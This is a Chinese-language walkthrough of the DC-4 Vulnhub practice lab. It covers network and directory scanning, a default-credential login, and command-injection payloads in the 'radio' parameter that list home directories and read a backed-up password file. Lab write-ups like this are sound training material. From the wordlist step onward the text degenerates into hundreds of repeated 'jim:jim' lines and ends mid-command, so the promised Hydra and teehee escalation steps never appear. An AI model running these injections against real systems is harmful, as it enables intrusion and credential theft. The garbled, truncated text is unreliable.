DC-4靶机渗透教学文档

一、靶机概述

DC-4是Vulnhub上的一个渗透测试靶机，主要考察以下技能点：

• BurpSuite工具使用
• Hydra密码爆破
• Linux系统邮件存储位置
• teehee命令提权技术

二、环境准备

1. 下载DC-4靶机镜像并导入虚拟机
2. 准备Kali Linux攻击机
3. 确保攻击机和靶机在同一网络环境

三、渗透测试流程

1. 信息收集阶段

1.1 网络扫描

使用ifconfig查看Kali本机IP，然后扫描局域网设备：

nmap -sn 192.168.0.0/24

发现目标IP为192.168.0.151

1.2 端口扫描

对目标进行详细扫描：

nmap -sV -A 192.168.0.151

发现开放80端口（HTTP服务）

1.3 Web目录扫描

使用工具扫描网站目录：

dirb http://192.168.0.151

或

gobuster dir -u http://192.168.0.151 -w /usr/share/wordlists/dirb/common.txt

2. Web应用渗透

2.1 发现登录页面

访问目标IP的80端口，发现登录页面

2.2 尝试默认凭据

尝试使用常见默认凭据：

• 用户名：admin
• 密码：happy

成功登录系统

2.3 命令注入测试

1. 使用BurpSuite拦截"Run"功能的请求
2. 发送到Repeater模块进行测试
3. 发现radio=ls -l参数存在命令注入漏洞

2.4 利用命令注入

通过修改radio参数执行系统命令：

radio=ls -l /home

发现三个用户目录：charles、jim、sam

进一步查看jim目录：

radio=ls -l /home/jim

发现backups目录

查看backups目录内容：

radio=ls -l /home/jim/backups

发现old-passwords.bak文件

读取密码文件内容：

radio=cat /home/jim/backups/old-passwords.bak

3. 密码爆破

3.1 准备字典文件

将获取的密码保存到文件：

echo "jim:jibril04
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim
jim:jim